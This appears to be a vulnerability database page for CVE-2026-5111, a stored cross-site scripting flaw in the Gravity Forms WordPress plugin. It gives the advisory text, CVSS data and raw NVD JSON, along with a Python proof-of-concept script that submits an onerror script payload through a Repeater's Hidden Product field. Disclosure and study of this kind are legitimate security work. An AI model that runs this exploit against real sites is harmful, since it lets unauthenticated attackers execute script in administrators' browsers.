CVE-2026-5111

Description

The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping on Hidden Product field values when used inside Repeater fields, where repeater subfields bypass state validation checks and the Hidden Product validate() method only validates the quantity field while ignoring the product name field that is later output without proper escaping in the get_value_entry_detail() method. This makes it possible for unauthenticated attackers to inject arbitrary web scripts through form submissions that will execute whenever an administrator views the entry details.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Gravity Forms <= 2.10.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-5111: Stored XSS in Gravity Forms
# Description: Demonstrates injecting a script into the 'product name' of a Hidden Product field within a Repeater.

import requests

target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"
form_id = "1"  # Replace with the actual form ID

# Malicious payload to be injected
xss_payload = "<img src=x onerror=alert('CVE-2026-5111')>"

# Constructing the malicious data structure
# This mimics a Repeater field (input_5) containing a Hidden Product field (input_6)
payload_data = {
    "action": "gform_submit",
    "form_id": form_id,
    # Repeater field structure
    "input_5": [
        {
            # Hidden Product field structure inside the repeater
            # '6.1' is Quantity (validated), '6.2' is Product Name (vulnerable)
            "6.1": "1", 
            "6.2": xss_payload, # Vulnerable field input
            "6.3": "0.00"       # Price
        }
    ]
}

try:
    response = requests.post(target_url, data=payload_data)
    if response.status_code == 200:
        print("[+] Payload submitted successfully.")
        print("[*] Check the Gravity Forms entry details in the WP Admin dashboard to trigger the XSS.")
    else:
        print(f"[-] Failed to submit. Status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5111
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5111
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5111/
[4] VulDB https://vuldb.com/cve/CVE-2026-5111
[5] https://docs.gravityforms.com/gravityforms-change-log/
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/a50e7042-bf7b-49d8-8e62-d01ecdd769fd?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5111", "sourceIdentifier": "[email protected]", "published": "2026-05-02T06:16:03.730", "lastModified": "2026-05-05T19:16:18.390", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 2.10.0. This is due to insufficient input validation and output escaping on Hidden Product field values when used inside Repeater fields, where repeater subfields bypass state validation checks and the Hidden Product validate() method only validates the quantity field while ignoring the product name field that is later output without proper escaping in the get_value_entry_detail() method. This makes it possible for unauthenticated attackers to inject arbitrary web scripts through form submissions that will execute whenever an administrator views the entry details."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://docs.gravityforms.com/gravityforms-change-log/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a50e7042-bf7b-49d8-8e62-d01ecdd769fd?source=cve", "source": "[email protected]"}]}}